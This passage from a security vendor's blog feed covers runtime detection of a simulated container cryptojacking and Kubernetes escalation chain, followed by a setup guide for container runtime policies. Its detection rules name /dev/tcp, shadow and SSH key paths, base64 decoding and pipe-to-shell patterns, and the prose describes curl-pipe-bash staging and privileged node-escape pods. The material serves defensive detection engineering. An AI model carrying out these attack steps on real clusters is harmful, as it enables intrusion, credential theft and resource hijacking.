  "*/etc/cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*",
  "*/etc/update-motd.d*", "*/etc/ld.so*", "*/etc/sudoers*", "*base64 *", 
  "*base32 *", "*base16 *", "*/etc/profile*", "*/dev/shm/*", "*/etc/ssh*", 
  "*/home/*/.ssh/*", "*/root/.ssh*" , "*~/.ssh/*", "*xxd *", "*/etc/shadow*",
  "* /tmp/*", "* /var/tmp/*", "* /dev/shm/* ", "* ~/*", "* /home/*",
  "* /run/*", "* /var/run/*", "*|*sh", "*|*python*", "*|*php*", "*|*perl*",
  "*|*busybox*", "*/var/www/*", "*&gt;*", "*;*", "*chmod *", "*rm *" 
) and container.id like "?*"
</code></pre>
<p>Especially for interactive processes, the following detection rule is a high signal.</p>
<p>The second piece of the flow relates to the file permission changes. Not all file permission changes are malicious, but detecting file permission changes to executable files in world-writeable directories via an interactive process within a container is not expected to occur frequently. </p>
<pre><code>any where event.category in ("file", "process") and
event.type in ("change", "creation", "start") and (
  process.name == "chmod" or
  (
    /*
    account for tools that execute utilities as a subprocess,
    in this case the target utility name will appear as a process arg
    */
    process.name in (
      "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
    ) and
    process.args in (
      "chmod", "/bin/chmod", "/usr/bin/chmod", "/usr/local/bin/chmod"
    )
  )
) and process.args in ("4755", "755", "777", "0777", "444", "+x", "a+x") and
container.id like "?*"
</code></pre>
<p>Note that we leverage the file and process event categories here. The reason for this is that D4C captures these changes through file events if set specifically in the policy, but by default will capture these process executions when set to detect <code>execve</code> calls.</p>
<p>The final piece of this chain relates to the execution of binaries in world-writeable locations. Most container runtimes will not execute payloads from these directories.</p>
<pre><code>process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  process.executable like (
    "/tmp/*", "/dev/shm/*", "/var/tmp/*", "/run/*", "/var/run/*",
    "/mnt/*", "/media/*", "/boot/*"
  ) or
  // Hidden process execution
  process.name like ".*"
) and container.id like "?*"
</code></pre>
<p>Note that the rule also captures hidden process executions. This is a technique commonly observed by threat actors as well, as they may attempt to evade detection by marking processes as hidden.</p>
<p>The detection rules that triggered in this stage are available here:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/cloud_defend/execution_suspicious_file_made_executable_via_chmod_inside_a_container.toml">File Execution Permission Modification Detected via Defend for Containers</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/cloud_defend/persistence_suspicious_echo_or_printf_execution.toml">Suspicious Echo or Printf Execution Detected via Defend for Containers</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/cloud_defend/defense_evasion_interactive_process_execution_from_suspicious_directory.toml">Suspicious Process Execution Detected via Defend for Containers</a></li>
</ul>
<p>Resulting in the following detection alerts upon miner deployment and execution:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt31b824a865088e3f/6a7d858bead8ec5f1dba7bc0/image11.png" alt="Figure 8: Detection rules triggering for stage 8: Miner Deployment and Execution" title="Figure 8: Detection rules triggering for stage 8: Miner Deployment and Execution" />  </p>
<h3 id="stage9escalationtonodecontrol">Stage 9 – Escalation to Node Control</h3>
<p>Once the attacker has a foothold inside a container and access to an overprivileged service account, the next step is to abuse the Kubernetes control plane itself. This stage moves the attack beyond a single container and into cluster-wide impact. This activity is detected via Kubernetes audit logs. The Kubernetes audit log rules surfaced by this intrusion fall into three distinct patterns.</p>
<h4 id="stage91reconnaissanceapiabuse">Stage 9.1 – Reconnaissance &amp; API Abuse</h4>
<p>The attacker's <code>kube.py</code> script uses the stolen service account token to enumerate pods, secrets, and nodes across all namespaces. From Kubernetes' perspective, this looks like a single identity making a burst of API calls across multiple resource types, a pattern that maps directly to permission enumeration detection logic. The use of Python's <code>urllib</code> rather than <code>kubectl</code> is also unusual as an API client.</p>
<p>The detection rules that triggered in this stage are available here:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/kubernetes/discovery_endpoint_permission_enumeration_by_user_and_srcip.toml">Kubernetes Potential Endpoint Permission Enumeration Attempt Detected</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/cross-platform/execution_d4c_k8s_mda_kubernetes_api_activity_by_unusual_utilities.toml">Direct Interactive Kubernetes API Request by Unusual Utilities</a></li>
</ul>
<p>Resulting in the following detection alerts upon reconnaissance and API abuse:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blteb183a7a565672d5/6a7d858e1967eaa4f232d924/image7.png" alt="Figure 9: Detection rules triggering for stage 9.1: Reconnaissance &amp; API Abuse" title="Figure 9: Detection rules triggering for stage 9.1: Reconnaissance &amp; API Abuse" /></p>
<h4 id="stage92privilegeescalationworkloadmanipulation">Stage 9.2 – Privilege Escalation &amp; Workload Manipulation</h4>
<p>With enumeration complete, the attacker creates a privileged DaemonSet (<code>system-monitor</code>) and relies on the overprivileged ClusterRole that was bound to the compromised service account. Both the workload creation and the role that enabled it are flagged: the DaemonSet as a sensitive workload modification, and the ClusterRole binding as a sensitive role granting broad permissions, including <code>pods/exec</code>, secret access, and DaemonSet creation.</p>
<p>The detection rules that triggered in this stage are available here:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/kubernetes/privilege_escalation_sensitive_workload_modification_by_user_agent.toml">Unusual Kubernetes Sensitive Workload Modification</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/kubernetes/persistence_sensitive_role_creation_or_modification.toml">Kubernetes Creation or Modification of Sensitive Role</a></li>
</ul>
<p>Resulting in the following detection alerts upon privilege escalation and workload manipulation:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3690b9f35ad98e21/6a7d85903cab1c34a20e1a78/image13.png" alt="Figure 10: Detection rules triggering for stage 9.2: Privilege Escalation &amp; Workload Manipulation" title="Figure 10: Detection rules triggering for stage 9.2: Privilege Escalation &amp; Workload Manipulation" /></p>
<h4 id="stage93nodelevelescape">Stage 9.3 – Node-Level Escape</h4>
<p>The DaemonSet's pod spec is designed to break every isolation boundary a container normally provides. It requests privileged mode, attaches to the host network and PID namespace, and mounts the node's root filesystem. Each of these properties triggers a separate detection rule, and together they paint a clear picture of a container workload engineered for node escape.</p>
<p>The detection rules that triggered in this stage are available here:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/kubernetes/privilege_escalation_pod_created_with_sensitive_hostpath_volume.toml">Kubernetes Pod Created with a Sensitive hostPath Volume</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/kubernetes/privilege_escalation_privileged_pod_created.toml">Kubernetes Privileged Pod Created</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/kubernetes/privilege_escalation_pod_created_with_hostnetwork.toml">Kubernetes Pod Created With HostNetwork</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/kubernetes/privilege_escalation_pod_created_with_hostpid.toml">Kubernetes Pod Created With HostPID</a></li>
</ul>
<p>Resulting in the following detection alerts upon node-level escape:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc93ba9389432451f/6a7d8593c2e914b7fd013d1b/image3.png" alt="Figure 11: Detection rules triggering for stage 9.3: Node-Level Escape" title="Figure 11: Detection rules triggering for stage 9.3: Node-Level Escape" /></p>
<p>These three sub-stages also highlight a key boundary in container-focused detection. While D4C excels at observing what happens <em>inside</em> containers, identifying how and <em>why</em> those containers were created requires Kubernetes control-plane telemetry. In a follow-up “Kubernetes Detection Engineering” series, we will focus on correlating D4C runtime events with Kubernetes Audit logs to detect multi-stage attacks that span workload creation, privilege escalation, and node-level impact.</p>
<p>For anyone already familiar with Kubernetes audit logs or interested in learning more about them, we have several prebuilt detection rules available that leverage the Kubernetes audit log framework in our <a href="https://github.com/elastic/detection-rules/tree/main/rules/integrations/kubernetes">GitHub detection-rules repository</a>.</p>
<h3 id="stage10webserverexploitationviareact2shell">Stage 10 – Web Server Exploitation via React2Shell</h3>
<p>In addition to exploiting compromised containers and Kubernetes control paths, TeamPCP also leverages direct web server exploitation to gain shell access on exposed services. One of the techniques referenced in related campaigns is React2Shell, where vulnerable web applications are abused to achieve remote command execution and drop into an interactive shell.</p>
<p>The attacker’s objective here is straightforward: expand access beyond Kubernetes workloads and increase the number of entry points into the environment. Web-facing services are often less strictly isolated than containers and can provide a fast path to host-level compromise if left unpatched.</p>
<p>From a detection standpoint, this activity is already well covered. Elastic provides an umbrella web server exploitation detection that flags suspicious command execution patterns originating from web server processes. In addition, multiple host-based Linux detections identify post-exploitation behavior following successful web shell access, such as unexpected shell execution, command interpreters launched by web services, and follow-on tooling execution.</p>
<p>Detecting this stage is important because it represents an alternative ingress path that bypasses container-specific defenses entirely. When correlated with earlier D4C detections, React2Shell-style exploitation helps confirm that the attacker is actively pursuing multiple avenues of access, increasing both blast radius and persistence potential.</p>
<p>The detection rule that triggered in this stage is available here:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/cloud_defend/persistence_suspicious_webserver_child_process_execution.toml">Web Server Exploitation Detected via Defend for Containers</a></li>
</ul>
<p>Resulting in the following detection alerts upon web server exploitation:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5c77fe2cc47b3a11/6a7d85966693f8789f661108/image1.png" alt="Figure 12: Detection rules triggering for stage 10: Web Server Exploitation via React2Shell" title="Figure 12: Detection rules triggering for stage 10: Web Server Exploitation via React2Shell" />  </p>
<p>What makes this scenario effective as a detection exercise is that every major objective of the attacker (execution, persistence, propagation, and monetization) manifests as runtime behavior inside containers. D4C's ability to observe that behavior in context allows detection engineers to follow the attack as it unfolds, rather than discovering it only after the damage is done.</p>
<h2 id="tyingitalltogetherwithattackdiscovery">Tying It All Together with Attack Discovery</h2>
<p>Running individual detection rules across container runtime and Kubernetes audit telemetry produces dozens of alerts, each highlighting a single suspicious action in isolation. A defender reviewing these one by one would see a privileged pod here, a <code>curl | bash</code> there, and a burst of API enumeration somewhere else. The challenge is not generating alerts; it is recognizing that these 130+ signals are all part of the same operation.</p>
<p>This is where <a href="https://www.elastic.co/docs/solutions/security/ai/attack-discovery">Attack Discovery</a> comes in. Attack Discovery is Elastic's generative AI capability that ingests a set of alerts and automatically correlates them into coherent attack narratives. Rather than forcing an analyst to manually pivot between individual alerts, it identifies which signals belong together and maps them to the MITRE ATT\&amp;CK framework, producing a single, readable summary of what happened.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta9d968039fe0ec68/6a7d85993cab1c1f1d0e1a7c/image6.png" alt="Figure 13: Attack Discovery analysis of the whole TeamPCP attack chain" title="Figure 13: Attack Discovery analysis of the whole TeamPCP attack chain" />  </p>
<p>When pointed at the alerts generated by this simulation, Attack Discovery correctly reconstructed the full TeamPCP kill chain as a “Container Cryptojacking Attack Chain”. The summary identified:</p>
<ul>
<li><strong>Initial Access:</strong> Web server exploitation on the victim node, where <code>busybox</code> spawned from <code>python3.11</code> and executed reconnaissance commands (<code>id</code>, <code>whoami</code>, <code>uname -a</code>, <code>cat /etc/passwd</code>)  </li>
<li><strong>Privilege Escalation:</strong> The <code>system:serviceaccount:kube-system:daemon-set-controller</code> is creating highly privileged pods with <code>HostPID</code>, <code>HostNetwork</code>, privileged mode, and sensitive <code>hostPath</code> volume mounts  </li>
<li><strong>Defense Evasion:</strong> Competitor cryptominer cleanup via <code>pkill -9 xmrig</code> and <code>pkill -9 XMRig</code>, alongside base64-encoded Python payloads  </li>
<li><strong>Tool Staging:</strong> Runtime package installation (<code>apk</code>, <code>curl</code>, <code>bash</code>, <code>python3</code>) and malicious script download via <code>curl</code> from the simulated C2 server  </li>
<li><strong>C2 Infrastructure:</strong> Deployment of tunneling tools <code>gost</code> and <code>frpc</code> under <code>/opt/teampcp</code>, with a SOCKS5 proxy listening on port 1081  </li>
<li><strong>Impact:</strong> A decoded and staged <code>/tmp/miner</code> binary: the cryptojacking objective</li>
</ul>
<p>The attack chain visualization maps the correlated alerts across the full MITRE ATT\&amp;CK kill chain, from Initial Access through to Impact, with confirmed activity in Execution, Privilege Escalation, Defense Evasion, Discovery, and Command &amp; Control.</p>
<p>This is the payoff of combining D4C runtime telemetry with Kubernetes audit logs. Neither data source alone would produce this picture: container runtime sees the <code>curl | bash</code>, the <code>gost</code> process, and the miner binary, while the audit logs capture the DaemonSet creation, the RBAC abuse, and the API enumeration. Attack Discovery fuses both into a single narrative that a SOC analyst can act on immediately, without manually stitching together alerts across different indices and timeframes.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Across this attack chain, we observed a consistent pattern. Interactive execution within containers led to environment discovery, lateral movement via Kubernetes APIs, attempts at persistence in locations inconsistent with container design, installation of runtime tooling, tunneling activity, reconstruction of encoded payloads, and, finally, resource monetization. Each objective produced distinct runtime signals.</p>
<p>Defend for Containers’ value lies in surfacing these signals with the container and orchestration context attached. Process lineage, capability metadata, interactive execution flags, file modification telemetry, and container identity together allow detections to move beyond simple command matching and instead reason about intent and impact.</p>
<p>This scenario also highlights an important architectural boundary. While D4C provides deep runtime visibility inside containers, certain escalation steps, such as privileged workload creation or control-plane manipulation, require Kubernetes audit log telemetry for full visibility. Effective cloud-native detection, therefore, depends on combining runtime and control-plane data sources.</p>
<p>In the next phase of this series, we will extend this model beyond the container boundary and explore Kubernetes control-plane detection engineering, correlating audit logs with D4C runtime events to detect multi-stage attacks that span workloads, nodes, and the cluster itself.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/teampcp-container-attack-scenario</link>
    <guid isPermaLink="false">teampcp-container-attack-scenario</guid>
    <category><![CDATA[Endpoint Protection & Security]]></category>
    <dc:creator><![CDATA[Ruben Groenewoud]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6ab013be55069c72/6a7d859ce3a2199bc099c786/teampcp-container-attack-scenario.png" length="0" type="image/png"/>
    <pubDate>Fri, 20 Mar 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Linux & Cloud Detection Engineering - Getting Started with Defend for Containers (D4C)]]></title>
    <description><![CDATA[This technical resource provides a comprehensive walkthrough of Elastic’s Defend for Containers (D4C) integration, covering Kubernetes-based deployment, the analysis of BPF-enriched runtime telemetry, and the practical application of policy-driven security controls to monitor and alert on activities within containerized Linux environments.]]></description>
    <content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Linux systems remain a critical foundation for modern infrastructure, particularly in cloud-native environments where containers and orchestration platforms are the norm. As workloads move from long-lived hosts to ephemeral containers, attacker tradecraft shifts as well. Activity that once left persistent artifacts on disk is increasingly confined to short-lived, runtime behavior that can be difficult to capture using traditional log sources.</p>
<p>Detection engineering in these environments, therefore, depends heavily on runtime visibility. Understanding how processes execute inside containers, how files are accessed, and how workloads interact with the host becomes more important than relying on static indicators or post-incident artifacts.</p>
<p>Elastic provides several Linux-focused telemetry sources to support this type of detection work. In <a href="https://www.elastic.co/security-labs/linux-detection-engineering-with-auditd">earlier posts in this series</a>, we focused on host-level visibility using Auditd and Auditd Manager, showing how low-level system events can be translated into high-fidelity detections. In this post, the focus shifts to Elastic’s Defend for Containers: a runtime security integration built specifically for containerized Linux workloads.</p>
<p>The goal of this article is not to document every Defend for Containers feature, but to provide a practical starting point for detection engineers: what data the integration produces and how to reason about that data. In the next part, we will look into how it can be applied to realistic container attack scenarios.</p>
<h2 id="streamlinedvisibilitywithdefendforcontainers">Streamlined visibility with Defend for Containers</h2>
<p>We are excited to announce the arrival of Defend for Containers in the 9.3.0 release. This integration brings a streamlined approach to container security, offering a strong foundation for visibility in cloud-native infrastructures. Users can leverage a suite of detection rules tailored to defend against modern Kubernetes threats and container-specific vulnerabilities. The arrival of Defend for Containers is accompanied by <a href="https://github.com/elastic/detection-rules/tree/main/rules/integrations/cloud_defend">a container-specific detection ruleset</a>, designed around realistic container and Kubernetes threat models.</p>
<p>At the time of writing, the Defend for Containers ruleset provides baseline coverage for common container attack techniques, including reconnaissance activity, credential access attempts, kubelet attacks, service account token abuse, interactive process execution, file creation and modification, interpreter abuse, encoded payload execution, tooling installation, tunneling behavior, and multiple privilege escalation vectors. Importantly, all existing container- and Kubernetes-specific detection rules <a href="https://github.com/elastic/detection-rules/pull/5685">have been made compatible with Defend for Containers</a>, allowing previously host-centric logic to operate directly on container runtime telemetry.</p>
<p>This makes Defend for Containers a practical and immediately usable data source for Linux detection engineers focused on behavior-driven runtime detection. The remainder of this post focuses on how that telemetry looks in practice and how it can be applied to real-world container attack scenarios.</p>
<h2 id="introductiontodefendforcontainers">Introduction to Defend for Containers</h2>
<p><a href="https://www.elastic.co/docs/reference/integrations/cloud_defend">Defend for Containers</a> is a runtime security integration that provides visibility into Linux containers as they execute. Instead of relying on static image scanning or post-execution logs, it focuses on observing container behavior in real time.</p>
<p>At a high level, Defend for Containers captures security-relevant runtime events from running containers, such as process execution and file access. These events are enriched with container and orchestration context and shipped into Elasticsearch, where they can be analyzed and used as input for detection rules.</p>
<p>From a detection engineering perspective, Defend for Containers sits at the intersection of traditional Linux behavior and the container context. Processes, syscalls, and file activity remain core signals, but they are now scoped to containers, namespaces, and workloads that may only exist briefly.</p>
<p>Defend for Containers is deployed as part of the Elastic Agent and integrates directly with Elastic Security. Once enabled, it provides a dedicated stream of container runtime events that can be queried using KQL or ES|QL, or consumed directly by detection analytics. This allows detection engineers to apply familiar analysis techniques while accounting for the operational realities of cloud-native workloads.</p>
<p>In the sections that follow, we will examine Defend for Containers events in more detail and walk through several container attack scenarios to illustrate how this data can be used in practice.</p>
<h3 id="defendforcontainerssetup">Defend for Containers setup</h3>
<p>Before you can take advantage of Defend for Containers' runtime visibility and analytics, you need to deploy the integration and configure a policy that defines which events to observe and what actions to take when matching activity is encountered. More information about the integration and its setup can be found <a href="https://www.elastic.co/docs/reference/integrations/cloud_defend">here</a>. At a high level, this setup consists of:</p>
<ol>
<li>Deploying the Defend for Containers integration via Elastic Agent in your Kubernetes environment.  </li>
<li>Configuring or customizing the Defend for Containers policy, which consists of selectors that define which operations to match and responses that define what actions to take.  </li>
<li>Validating and refining the policy based on observed workload behavior.</li>
</ol>
<h3 id="deploymentmethods">Deployment methods</h3>
<p>Defend for Containers is delivered as an Elastic Agent integration and relies on Elastic Agent to collect and forward container runtime telemetry into your Elastic Stack. For Kubernetes workloads, you install the integration via the Elastic Security UI and then enroll agents on your cluster nodes.</p>
<p>The basic deployment flow is:</p>
<p>In the Elastic Security UI, navigate to <a href="https://www.elastic.co/docs/reference/fleet">Fleet</a> and create a new Agent Policy (or add the integration to an existing one). Once the Agent Policy is created, we can add the “Defend for Containers” integration to the policy.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc54ee9a1340a9c0f/6a7d809fe88c654c5a00896a/image1.png" alt="Figure 1: Add the integration to the agent policy view" title="Figure 1: Add the integration to the agent policy view" />  </p>
<p>Give the integration a name and optionally adjust the default selectors and responses (we will look into the available options further down in this publication). Once “Add integration” is selected, a new Agent Policy with the correct integration should be available.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8e504861c626f46f/6a7d80a2bdcff090edc40060/image5.png" alt="Figure 2: Agent policy integrations overview" title="Figure 2: Agent policy integrations overview" />  </p>
<p>For this demonstration, we will leverage the Kubernetes deployment method. To deploy this policy to a workload, we can navigate to Actions → Add agent → Kubernetes. Here, we see instructions for copying or downloading the Kubernetes manifest. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfb04dc9414f6b015/6a7d80a54c4bfbba02cca83d/image19.png" alt="Figure 3: Defend for Containers Kubernetes manifest overview" title="Figure 3: Defend for Containers Kubernetes manifest overview" />  </p>
<p>An important note to be aware of is: “<em>Note that the following manifest contains resource limits that may not be appropriate for a production environment. Review our guide on <a href="https://www.elastic.co/docs/reference/fleet/scaling-on-kubernetes#_specifying_resources_and_limits_in_agent_manifests">Scaling Elastic Agent on Kubernetes</a> before deploying this manifest.</em>”</p>
<p>You will need to include the following <code>capabilities</code> under <code>securityContext</code> in your Kubernetes YAML for the service to work:</p>
<pre><code>securityContext:
    runAsUser: 0
    capabilities:
      add:
        - BPF ## Enables both BPF &amp; eBPF
        - PERFMON
        - SYS_RESOURCE
</code></pre>
<p>After copying or downloading the provided <code>elastic-agent-managed-kubernetes.yml</code> manifest, you can edit the manifest as needed, and apply the manifest with:</p>
<pre><code>kubectl apply -f elastic-agent-managed-kubernetes.yml
</code></pre>
<p>As also mentioned in the manifest, review the guide “<a href="https://www.elastic.co/docs/reference/fleet/running-on-kubernetes-managed-by-fleet">Run Elastic Agent on Kubernetes managed by Fleet</a>” for more deployment information.</p>
<p>Wait for the Elastic Agent pods to schedule and for data to begin flowing into Elasticsearch.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8adce0a7ee8779e7/6a7d80a8227b1c950e5957f4/image16.png" alt="Figure 4: Defend for Containers integration input overview" title="Figure 4: Defend for Containers integration input overview" />  </p>
<p>Once deployed, Elastic Agent will establish a connection to Fleet, enroll under the selected policy, and begin emitting Defend for Containers telemetry that Elastic Security can consume.</p>
<p>In the next section, we will take a look at the integration configuration options and explore which features are available to use.</p>
<h3 id="defendforcontainerspolicies">Defend for Containers policies</h3>
<p>At the heart of Defend for Containers' configuration is the policy. Policies determine what activity to observe and how to respond when matching events occur. Policies are composed of two fundamental building blocks:</p>
<ul>
<li><strong>Selectors:</strong> define which events are of interest by specifying operations and conditions;  </li>
<li><strong>Responses:</strong> define what actions to take when a selector’s conditions are met.</li>
</ul>
<p>Defend for Containers policies can be edited before deployment or modified post-deployment via the Elastic Security UI’s policy editor.</p>
<h4 id="policystructure">Policy structure</h4>
<p>Each policy must contain at least one selector and at least one response. A typical selector specifies one or more operations (such as process events or file activities) and uses conditions (like container image name, namespace, or pod label) to narrow the scope. Responses reference selectors and indicate what action to take when events match.</p>
<p>The default Defend for Containers policy includes two selector-response pairs: “Threat Detection” and “Drift Detection &amp; Prevention”.</p>
<p><strong>Threat detection:</strong> A <code>selector</code> named <code>allProcesses</code> matches all <code>fork</code> and <code>exec</code> events from containers.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt14a1ab42be493c34/6a7d80abe3a2194c2799c70a/image13.png" alt="Figure 5: Defend for Containers allProcesses selector" title="Figure 5: Defend for Containers allProcesses selector" />  </p>
<p>And the associated <code>response</code> has the action set to <code>Log</code>, ensuring that events are ingested and can be analyzed.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0ea0db2ca356bf89/6a7d80ae73d9bdd13229abff/image11.png" alt="Figure 6: Defend for Containers allProcesses &lt;code&gt;log&lt;/code&gt; response" title="Figure 6: Defend for Containers allProcesses &lt;code&gt;log&lt;/code&gt; response" />  </p>
<p><strong>Drift detection &amp; prevention:</strong> A selector named <code>executableChanges</code> matches <code>createExecutable</code> and <code>modifyExecutable</code> operations.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4c8899c53f7c2d87/6a7d80b1437e0fab8add85c2/image7.png" alt="Figure 7: Defend for Containers executableChanges selector" title="Figure 7: Defend for Containers executableChanges selector" />  </p>
<p>And the response is configured to create alerts (and can be modified to block those operations).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2befc7386134a8d3/6a7d80b3227b1c01385957f8/image18.png" alt="Figure 8: Defend for Containers executableChanges &lt;code&gt;alert&lt;/code&gt; response" title="Figure 8: Defend for Containers executableChanges &lt;code&gt;alert&lt;/code&gt; response" />  </p>
<p>These can be modified via the UI, but under the hood, these policies are simple YAML configuration files that can be easily modified and used in any CI|CD flows:</p>
<pre><code>process:
  selectors:
    - name: allProcesses
      operation:
        - fork
        - exec
  responses:
    - match:
        - allProcesses
      actions:
        - log
file:
  selectors:
    - name: executableChanges
      operation:
        - createExecutable
        - modifyExecutable
  responses:
    - match:
        - executableChanges
      actions:
        - alert
</code></pre>
<p>Next, we will take a look at some example selectors and responses and discuss the options you have for setting up the integration to your liking.</p>
<p><strong>Example selector snippet</strong></p>
<p>Selectors allow fine-grained matching using conditions on fields such as:</p>
<ul>
<li><code>containerImageFullName</code>: full image names like <code>docker.io/nginx</code>;  </li>
<li><code>containerImageName</code>: partial image names;  </li>
<li><code>containerImageTag</code>: specific tags like latest;  </li>
<li><code>kubernetesClusterId</code>: Kubernetes cluster IDs;  </li>
<li><code>kubernetesClusterName</code>: Kubernetes cluster names;  </li>
<li><code>kubernetesNamespace</code>: namespaces where the workload runs;  </li>
<li><code>kubernetesPodName</code>: pod names, with support for trailing wildcards;  </li>
<li><code>kubernetesPodLabel</code>: label key/value pairs, with wildcard support.</li>
</ul>
<pre><code>selectors:
  - name: nodeExports
    file:
      operations:
        - createExecutable
        - modifyExecutable
      containerImageName:
        - "nginx"
      kubernetesNamespace:
        - "production"
</code></pre>
<p>In this example, the selector named <code>nodeExports</code> matches file events that create or modify executables within containers whose image names contain “nginx” and whose Kubernetes namespace begins with "production".</p>
<p><strong>Example response snippet</strong></p>
<p>Responses determine what happens when selector conditions are met. Common actions include:</p>
<ul>
<li><code>log</code>: send the event as telemetry for analysis;  </li>
<li><code>alert</code>: create an alert in Elastic Security;  </li>
<li><code>block</code>: prevent the operation (for supported types).</li>
</ul>
<pre><code>responses:
  - name: alertAndBlockNodeExports
    matchSelectors:
      - nodeExports
    actions:
      - alert
      - block
</code></pre>
<p>Here, the response named <code>alertAndBlockNodeExports</code> references the previously defined nodeExports selector and will both generate an alert and block the operation.</p>
<h4 id="wildcardsandmatching">Wildcards and matching</h4>
<p>Selectors in Defend for Containers support trailing wildcards in string-based conditions (such as pod names or image tags). This allows broad matching without enumerating every possible value. The following fields do support wildcard matching:</p>
<ul>
<li>For file selectors: <code>kubernetesPodName</code>, <code>kubernetesPodLabel</code> and <code>targetFilePath</code>.</li>
<li>For process selectors: <code>kubernetesPodName</code>, <code>kubernetesPodLabel</code>, <code>processName</code> and <code>processExecutable</code>.</li>
</ul>
<p>For example, a <code>kubernetesPodName</code> selector of <code>backend-*</code> will match all pods whose names begin with <code>backend-</code>, while a <code>kubernetesPodLabel</code> condition such as <code>role:api*</code> matches label values that start with <code>api</code>.</p>
<p>This wildcarding is essential in dynamic environments where workloads scale and shift rapidly.</p>
<p>In addition to simple string matching, Defend for Containers selectors also support <strong>path-based wildcard semantics</strong> when matching file paths. Consider the following selector example:</p>
<pre><code>- name:
  targetFilePath:
    - /usr/bin/echo
    - /usr/sbin/*
    - /usr/local/**
</code></pre>
<p>In this example:</p>
<ul>
<li><code>/usr/bin/echo</code> matches only the <code>echo</code> binary at that exact path.  </li>
<li><code>/usr/sbin/*</code> matches everything that is a direct child of <code>/usr/sbin</code>.  </li>
<li><code>/usr/local/**</code> matches everything recursively under <code>/usr/local</code>, including paths such as <code>/usr/local/bin/something</code>.</li>
</ul>
<p>These distinctions make it possible to precisely scope file-based selectors, balancing coverage and noise. In practice, they allow detection engineers to target specific binaries, entire directories, or deep directory trees, depending on the use case, without resorting to overly permissive rules.</p>
<h4 id="tyingitalltogether">Tying it all together</h4>
<p>Up to this point, we have looked at Defend for Containers selectors, wildcard semantics, event types, and how they surface attacker behavior at runtime. The final step is to understand how these pieces come together within a policy to express real detection logic.</p>
<p>Consider the following policy fragment:</p>
<pre><code>file:
  selectors:
    - name: binDirExeMods
      operation:
        - createExecutable
        - modifyExecutable
      targetFilePath:
        - /usr/bin/**
    - name: etcFileChanges
      operation:
        - createFile
        - modifyFile
        - deleteFile
      targetFilePath:
        - /etc/**
    - name: nginx
      containerImageName:
        - nginx

  responses:
    - match:
        - binDirExeMods
        - etcFileChanges
      exclude:
        - nginx
      actions:
        - alert
        - block
</code></pre>
<p>This policy defines three selectors. Two selectors (<code>binDirExeMods</code> and <code>etcFileChanges</code>) describe file system activity of interest, while the third selector (<code>nginx</code>) describes a container context to exclude.</p>
<p>The response section ties these selectors together. The selectors listed under <code>match</code> are logically <code>OR</code>’d, meaning that <em>either</em> condition is sufficient to trigger the response. The selector listed under <code>exclude</code> acts as a logical <code>NOT</code>, removing matching events when the container image is <code>nginx</code>.</p>
<p>Read in plain language, the policy expresses the following logic:</p>
<p><em>If an executable is created or modified anywhere under <code>/usr/bin</code>, <strong>or</strong> a file is created, modified, or deleted under <code>/etc</code>,  <strong>and</strong> the activity does not originate from an <code>nginx</code> container, then generate an alert and block the action.</em></p>
<p>In Boolean form, this can be expressed as:</p>
<pre><code>IF (binDirExeMods OR etcFileChanges) AND NOT nginx
→ alert + block
</code></pre>
<p>This is where Defend for Containers policies become powerful. Rather than writing complex detection logic in a query language, selectors let you decompose behavior into small, reusable building blocks and then combine them declaratively. By mixing path-based selectors, operation types, container context, and exclusions, you can express nuanced detection logic that remains readable and maintainable.</p>
